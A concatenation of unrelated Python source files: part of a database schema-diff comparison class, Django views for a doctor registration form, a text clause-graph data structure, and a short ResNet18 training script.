            different['columns']['deleted'] = target_cols

        return different

    @staticmethod
    def compare_target_cols(source, target_cols, added, updated):
        """
        Compare target col with source.
        :param source:
        :param target_cols:
        :param added:
        :param updated:
        :return:
        """
        tmp = None
        for item in target_cols:
            # ignore keys from the columns list
            for ig_key in SchemaDiffTableCompare.column_keys_to_ignore:
                if ig_key in source:
                    del source[ig_key]
                if ig_key in item:
                    del item[ig_key]

            if item['name'] == source['name']:
                tmp = copy.deepcopy(item)
                source['attnum'] = tmp['attnum']

        if tmp and source != tmp:
            # check column level grants
            acl_dict = dict()
            if 'attacl' in source and 'attacl' in tmp and \
                    source['attacl'] != tmp['attacl']:
                if len(source['attacl']) > 0 and len(tmp['attacl']) < 1:
                    acl_dict['added'] = source['attacl'].copy()
                    source['attacl'] = acl_dict
                elif len(source['attacl']) < 1 and len(tmp['attacl']) > 0:
                    acl_dict['deleted'] = tmp['attacl'].copy()
                    source['attacl'] = acl_dict
                else:
                    acl_dict['changed'] = source['attacl'].copy()
                    source['attacl'] = acl_dict

            updated.append(source)
            target_cols.remove(tmp)
        elif tmp and source == tmp:
            target_cols.remove(tmp)
        elif tmp is None:
            added.append(source)

    @staticmethod
    def table_constraint_comp(source_table, target_table):
        """
        Table Constraint DDL comparison
        :param source_table: Source Table
        :param target_table: Target Table
        :return: Difference of constraints
        """
        different = {}
        non_editable_keys = {'primary_key': ['col_count',
                                             'condeferrable',
                                             'condeffered',
                                             'columns'],
                             'unique_constraint': ['col_count',
                                                   'condeferrable',
                                                   'condeffered',
                                                   'columns'],
                             'check_constraint': ['consrc'],
                             'exclude_constraint': ['amname',
                                                    'indconstraint',
                                                    'columns'],
                             'foreign_key': ['condeferrable', 'condeferred',
                                             'confupdtype', 'confdeltype',
                                             'confmatchtype', 'convalidated',
                                             'conislocal']
                             }

        for constraint in ['primary_key', 'unique_constraint',
                           'check_constraint',
                           'exclude_constraint', 'foreign_key']:
            source_cols = source_table[constraint] if \
                constraint in source_table else []
            target_cols = copy.deepcopy(target_table[constraint]) if\
                constraint in target_table else []
            added = []
            updated = []
            deleted = []

            different[constraint] = {}
            for source in source_cols:
                if 'name' in source:
                    if isinstance(target_cols, list) and target_cols:
                        tmp_src = copy.deepcopy(source)
                        if 'oid' in tmp_src:
                            tmp_src.pop('oid')
                        tmp_tar = None
                        tmp = None
                        for item in target_cols:
                            if item['name'] == source['name']:
                                tmp_tar = copy.deepcopy(item)
                                tmp = copy.deepcopy(item)
                                if 'oid' in tmp_tar:
                                    tmp_tar.pop('oid')
                        if tmp_tar and tmp_src != tmp_tar:
                            tmp_updated = copy.deepcopy(source)
                            for key in non_editable_keys[constraint]:
                                if key in tmp_updated and \
                                        tmp_updated[key] != tmp_tar[key]:
                                    added.append(source)
                                    deleted.append(tmp_updated)
                                    tmp_updated = None
                                    break
                            if tmp_updated:
                                if 'oid' in tmp:
                                    tmp_updated['oid'] = tmp['oid']
                                updated.append(tmp_updated)
                            target_cols.remove(tmp)
                        elif tmp_tar and tmp_src == tmp_tar:
                            target_cols.remove(tmp)
                        elif tmp_tar is None:
                            added.append(source)
                    else:
                        added.append(source)
                different[constraint]['added'] = added
                different[constraint]['changed'] = updated
                different[constraint]['deleted'] = deleted

            if target_cols and len(target_cols) > 0:
                different[constraint]['deleted'] = target_cols

        return different

    def get_sql_from_submodule_diff(self, **kwargs):
        """
        This function returns the DDL/DML statements of the
        submodules of table based on the comparison status.

        :param kwargs:
        :return:
        """
        source_params = kwargs.get('source_params')
        target_params = kwargs.get('target_params')
        target_schema = kwargs.get('target_schema')
        source = kwargs.get('source')
        target = kwargs.get('target')
        diff_dict = kwargs.get('diff_dict')
        ignore_whitespaces = kwargs.get('ignore_whitespaces')

        # Get the difference result for source and target columns
        col_diff = self.table_col_comp(source, target)
        diff_dict.update(col_diff)

        # Get the difference result for source and target constraints
        pk_diff = self.table_constraint_comp(source, target)
        diff_dict.update(pk_diff)

        # Get the difference DDL/DML statements for table
        target_params['diff_data'] = diff_dict
        diff = self.get_sql_from_table_diff(**target_params)

        ignore_sub_modules = ['column', 'constraints']
        if self.manager.version < 100000:
            ignore_sub_modules.append('partition')
        if self.manager.server_type == 'pg' or self.manager.version < 120000:
            ignore_sub_modules.append('compound_trigger')

        # Iterate through all the sub modules of the table
        for module in self.blueprint.submodules:
            if module.node_type not in ignore_sub_modules:
                module_view = \
                    SchemaDiffRegistry.get_node_view(module.node_type)

                if module.node_type == 'partition' and \
                    ('is_partitioned' in source and source['is_partitioned'])\
                        and ('is_partitioned' in target and
                             target['is_partitioned']):
                    target_ddl = module_view.ddl_compare(
                        target_params=target_params,
                        parent_source_data=source,
                        parent_target_data=target
                    )

                    diff += '\n' + target_ddl
                elif module.node_type != 'partition':
                    dict1 = copy.deepcopy(source[module.node_type])
                    dict2 = copy.deepcopy(target[module.node_type])

                    # Find the duplicate keys in both the dictionaries
                    dict1_keys = set(dict1.keys())
                    dict2_keys = set(dict2.keys())
                    intersect_keys = dict1_keys.intersection(dict2_keys)

                    # Keys that are available in source and missing in target.
                    added = dict1_keys - dict2_keys
                    diff = SchemaDiffTableCompare._compare_source_only(
                        added, module_view, source_params, target_params,
                        dict1, diff, target_schema)

                    # Keys that are available in target and missing in source.
                    removed = dict2_keys - dict1_keys
                    diff = SchemaDiffTableCompare._compare_target_only(
                        removed, module_view, source_params, target_params,
                        dict2, diff, target_schema)

                    # Keys that are available in both source and target.
                    other_param = {
                        "dict1": dict1,
                        "dict2": dict2,
                        "source": source,
                        "target": target,
                        "target_schema": target_schema,
                        "ignore_whitespaces": ignore_whitespaces
                    }
                    diff = self._compare_source_and_target(
                        intersect_keys, module_view, source_params,
                        target_params, diff, **other_param)

        return diff

    @staticmethod
    def _compare_source_only(added, module_view, source_params, target_params,
                             dict1, diff, target_schema):
        for item in added:
            source_ddl = module_view.ddl_compare(
                source_params=source_params,
                target_params=target_params,
                target_schema=target_schema,
                source=dict1[item],
                target=None,
                comp_status='source_only'
            )

            diff += '\n' + source_ddl
        return diff

    @staticmethod
    def _compare_target_only(removed, module_view, source_params,
                             target_params, dict2, diff, target_schema):
        for item in removed:
            target_ddl = module_view.ddl_compare(
                source_params=source_params,
                target_params=target_params,
                target_schema=target_schema,
                source=None,
                target=dict2[item],
                comp_status='target_only'
            )

            diff += '\n' + target_ddl
        return diff

    def _compare_source_and_target(self, intersect_keys, module_view,
                                   source_params, target_params, diff,
                                   **kwargs):
        dict1 = kwargs['dict1']
        dict2 = kwargs['dict2']
        source = kwargs['source']
        target = kwargs['target']
        target_schema = kwargs['target_schema']
        ignore_whitespaces = kwargs.get('ignore_whitespaces')

        for key in intersect_keys:
            # Recursively Compare the two dictionary
            if not are_dictionaries_identical(
                    dict1[key], dict2[key], self.keys_to_ignore,
                    ignore_whitespaces):
                diff_ddl = module_view.ddl_compare(
                    source_params=source_params,
                    target_params=target_params,
                    target_schema=target_schema,
                    source=dict1[key],
                    target=dict2[key],
                    comp_status='different',
                    parent_source_data=source,
                    parent_target_data=target
                )

                diff += '\n' + diff_ddl
        return diff


# -*- coding: utf-8 -*-
import json
from django.http import HttpResponse
from django.shortcuts import render
from main.forms import RegistrationForm
from main.models import Doctor

def index_page(request):
    was_saved = False
    show_message = u''
    if request.method == 'POST':
        if 'new_register' in request.POST:
            form = RegistrationForm()
        else:
            form = RegistrationForm(request.POST)
            if form.is_valid():
                form.save()
                was_saved = True
                show_message = form.message
                form = RegistrationForm()
    else:
        form = RegistrationForm()
    ctx = {
        'show_message': show_message,
        'was_saved': was_saved,
        'form': form
    }
    return render(request, 'index.html', ctx)

def get_doctors(request, spec_id):
    res = {}
    doctors = Doctor.objects.filter(specialization__id=spec_id)
    for doc in doctors:
        res.update({doc.id: doc.full_name})
    return HttpResponse(json.dumps(res),
                        content_type='application/json')


#coding=utf-8

from collections import namedtuple

class NTNode:
    def __init__(self, start, end):
        if start < 0: raise IndexError('negative node start: %d' % start)
        if start >= end: raise ValueError('empty node: [%d, %d)' % (start, end))
        self.start = start
        self.end = end
    def isIn(self, pos):
        return (pos >= self.start) and (pos < self.end)
    def isStart(self, pos):
        return pos == self.start
    def isEnd(self, pos):
        return pos == self.end-1
    def isInner(self, pos):
        return (pos > self.start) and (pos < self.end-1)
#     @property
#     def start(self):
#         return self.start
#     @property
#     def end(self):
#         return self.end
    def length(self):
        return self.end-self.start
    def name(self):
        return u'[node%d-%d]'%(self.start, self.end)
    def description(self):
        print('\t'.join(['%s:%s' % item for item in self.__dict__.items()]))

class NTCGraph(NTNode):
    def __init__(self, start, end, text):
        NTNode.__init__(self, start, end)
        self.text = text
        self.Edge = namedtuple('Edge', ['start', 'end', 'length'])
        self.nodes=[]
        #self.nodes = [NTNode(start, end)]
        self.edges = []
        self.space = u'　'
    def text(self):
        return self.text
    def __findNodeIndex(self, pos):
        #返回pos在nodes列表位置i,i中的相对索引
#         print(pos)
        for i in range(len(self.nodes)):
            if self.nodes[i].isIn(pos):
                return (i, pos-self.nodes[i].start)
        raise IndexError('out of graph index: %d' % pos)
    def __addEdge(self, start, end, length, bidirection=False):
        #check duplicated edges!
        self.edges.append(self.Edge(start, end, length))
        if bidirection:
            assert(length == 0)
            self.edges.append(self.Edge(end, start, length))

    def split(self, pos, direction=0):
        '''
        split node on pos into two nodes:   pos-1 | pos
        pos: position
        direction: direct of edge. if None: no edge, 1: forward <---, 2: backward--->, 0: both<--->
        '''
        nodeIdx, offset = self.__findNodeIndex(pos)
        if offset == 0:
            raise IndexError('split at the beginning of node: %d' % pos)
        if isinstance(self.nodes[nodeIdx], NTCGraph):
            self.nodes[nodeIdx].split(pos, direction)
        else:
            newnode = NTNode(pos, self.nodes[nodeIdx].end)
            self.nodes[nodeIdx].end = pos
            self.nodes.insert(nodeIdx+1, newnode) #after nodeIdx

            if direction != None:
                if (direction == 1):
                    self.__addEdge(start = pos, end = pos-1, length = 0)
                else:
                    self.__addEdge(start = pos-1, end = pos, length = 0,
                                   bidirection = False if direction == 2 else True)

    def setRelation(self, start, end, length, direction=0):
        '''
        direction : 0,1: | start(beginning of node)
                    2: start(end of node) |
        '''
        if not self.isIn(start) or not self.isIn(end):
            raise IndexError('out of index: (%d, %d)' % (start, end))
        if (start == end):
            raise ValueError('add edge with same start and end: %d' % start)
        if length < 0:
            raise ValueError('negative length of naming: %d' % length)

        snodei, _ = self.__findNodeIndex(start)
        enodei, _ = self.__findNodeIndex(end)
        if isinstance(self.nodes[snodei], NTCGraph):
            if isinstance(self.nodes[enodei], NTCGraph):
                if snodei != enodei:
                    raise ValueError('failed to add edge between enclosed-clauses')
                else:
                    self.nodes[snodei].setRelation(start, end, length, direction)
                    return
            else:
                if self.nodes[snodei].isInner(start):
                    raise ValueError('edge start from inner of enclosed-clause')
        else:
            if isinstance(self.nodes[enodei], NTCGraph):
                if self.nodes[enodei].isInner(end):
                    raise ValueError('edge into enclosed-clause')
            elif self.nodes[snodei].isInner(start):
                self.split(start+1 if direction==2 else start, direction=None)
        self.__addEdge(start, end, length, True if direction == 0 else False)

    def addSubgraph(self, start, end):
        if (start < self.start) or (end > self.end) or (end-start >= self.end-self.start):
            raise ValueError('addSubgraph: subgraph should be sub of parent')
        snodei, soffset = self.__findNodeIndex(start)
        enodei, _ = self.__findNodeIndex(end-1)
        if snodei != enodei:
            raise ValueError('addSubgraph: cannot enclose two or more nodes')
        if self.nodes[snodei].isStart(start) and self.nodes[enodei].isEnd(end):
            raise ValueError('addSubgraph: node is already in list')
        if isinstance(self.nodes[snodei], NTCGraph):
            self.nodes[snodei].addSubgraph(start, end)
        else:
            if soffset == 0:
                self.nodes[snodei].start = end
                self.nodes.insert(snodei, NTCGraph(start, end, self.text))
            elif end < self.nodes[snodei].end:
                #node/subgraph/node
                newnode = NTNode(self.nodes[snodei].start, start)
                sg = NTCGraph(start, end, self.text)
                self.nodes[snodei].start = end
                self.nodes.insert(snodei, sg)
                self.nodes.insert(snodei, newnode)
            else:
                self.nodes[snodei].end = start
                self.nodes.insert(snodei+1, NTCGraph(start, end, self.text))

    def getDepends(self):
        dps = {}
        for ni in range(len(self.nodes)):
            dps[ni] = ([], []) #forward and backward
        for ei in range(len(self.edges)):
            edge = self.edges[ei]
            snodei, _ = self.__findNodeIndex(edge.start)
            enodei, _ = self.__findNodeIndex(edge.end)
#             print(edge)
            assert snodei != enodei  #边start end不能在同一顶点

            assert not self.nodes[snodei].isInner(edge.start)#只有头边和尾边
#             assert not (self.nodes[snodei].isStart(edge.start) and self.nodes[enodei].isStart(edge.end))

#             assert not (self.nodes[snodei].isEnd(edge.start) and self.nodes[enodei].isEnd(edge.end))
            #snodei --> enodei
            if (self.nodes[snodei].isStart(edge.start)):
                dps[snodei][0].append(ei)
            else:
                dps[snodei][1].append(ei)
        return dps

    def toNTClauses(self):
        '''
        transfer graph to NTClauses
        '''
        dps = self.getDepends()
        visited = [False] * len(self.nodes)

        def __expandNode(ni):
            '''
            expand node to clauses
            '''
            def __traverseForward(ei, suffix):
                '''
                dps: depends between nodes
                ei: edge index
                suffix: suffix in unicode list
                return: list of unicode list
                '''
                edge = self.edges[ei]
                nodei, _ = self.__findNodeIndex(edge.end)

                if edge.length > 0:
                    assert(not isinstance(self.nodes[nodei], NTCGraph))
                    suffix = list(self.text[edge.end-edge.length+1 : edge.end+1])+suffix
                    return [suffix]
                else:
                    if isinstance(self.nodes[nodei], NTCGraph):
                        suffix = list(self.nodes[nodei].name())+suffix
                    else:
                        suffix = list(self.text[self.nodes[nodei].start : edge.end+1])+suffix
                    ret = []
                    for e in dps[nodei][0]:
                        ret.extend(__traverseForward(e, suffix))
                    if len(ret) == 0:
                        return [suffix]
                    else:
                        return ret

            def __traverseBackward(ei, prefix):
                '''
                dps: depends between nodes
                ei: edge index
                suffix: suffix in unicode list
                return: list of unicode list
                '''
                edge = self.edges[ei]
                assert (edge.length == 0)
                nodei, offset = self.__findNodeIndex(edge.end)
                if (offset == 0): visited[nodei] = True
                if isinstance(self.nodes[nodei], NTCGraph):
                    prefix.extend(list(self.nodes[nodei].name()))
                else:
                    prefix.extend(list(self.text[edge.end : self.nodes[nodei].end]))
                ret = []
                for e in dps[nodei][1]:
                    ret.extend(__traverseBackward(e, prefix))
                if len(ret) == 0:
                    return [prefix]
                else:
                    return ret

            if isinstance(self.nodes[ni], NTCGraph):
                ret = [list(self.nodes[ni].name()+u':[')]
                ret.extend(self.nodes[ni].toNTClauses())
                ret.append(list(u']'))
                return ret

            if visited[ni]: return []
            visited[ni] = True

            pre = []
            for ei in dps[ni][0]:
                pre.extend(__traverseForward(ei, []))
            post = []
            for ei in dps[ni][1]:
                post.extend(__traverseBackward(ei, []))
            ret = []
            text = list(self.text[self.nodes[ni].start:self.nodes[ni].end])
            if len(pre) > 0:
                if len(post) > 0:
                    for preT in pre:
                        for postT in post:
                            ret.append(preT+text+postT)
                else:
                    ret = [preT+text for preT in pre]
            elif len(post) > 0:
                ret = [text+postT for postT in post]
            else:
                return [text]
            return ret

        clauses = []
        for ni in range(len(self.nodes)):
            for ltxt in __expandNode(ni):
                clause = u''.join(ltxt)
                clauses.append(clause)
        return clauses

    def toIndentedString(self):
        '''
        transfer graph to indented string
        '''
        dps = self.getDepends()

        def indentedPos(ni):
            if (len(dps[ni][0]) == 0):
                return 0
            else:
                mdis = self.end-self.start
                mlen = -1
                for ei in dps[ni][0]:
                    edge = self.edges[ei]
                    nodei, offset = self.__findNodeIndex(edge.end)
                    if (abs(edge.end-edge.start) < mdis):
                        mlen = offset+indentedPos(nodei)+1
                        mdis = abs(edge.end-edge.start)
                return mlen

        clauses = []
        for ni in range(len(self.nodes)):
            ip = indentedPos(ni)
            if isinstance(self.nodes[ni], NTCGraph):
                cs = [self.nodes[ni].name()+u':[']
                cs.extend(self.nodes[ni].toIndentedString())
                cs.append(u']')
                clauses.extend([self.space*ip+s for s in cs])
            else:
                clause = u''.join([self.space]*ip+list(self.text[self.nodes[ni].start:self.nodes[ni].end]))
                clauses.append(clause)
        return clauses

    def description(self):
        print('g.start: %d' % self.start,'\t','g.end: %d' % self.end)
        print(self.text[self.start:self.end])
        print('nodes: %d' % len(self.nodes))
        for node in self.nodes:
            node.description()
        print('edges: %d' % len(self.edges))
        for e in self.edges:
            print(e)


from models.resnet import resnet18
from iceberg import *
from torch.optim import SGD

lr = '1e-3'
mom = '95e-2'
wd = '1e-4'
bsize = 64

model = resnet18(False, num_classes=2)
model = torch.nn.DataParallel(model).cuda()
optim = SGD(model.parameters(), float(lr), momentum=float(mom), weight_decay=float(wd))
iceberg = Iceberg('./data/train.json', './data/resnet18_lr{}_mom{}_wd{}_bs{}_model.pth'.format(lr, mom, wd, bsize), model, optim, 128, bsize)
iceberg.run(transforms.Compose([
            transforms.Resize(256),
            transforms.RandomCrop(224),
            transforms.RandomHorizontalFlip(),
            transforms.ToTensor()]))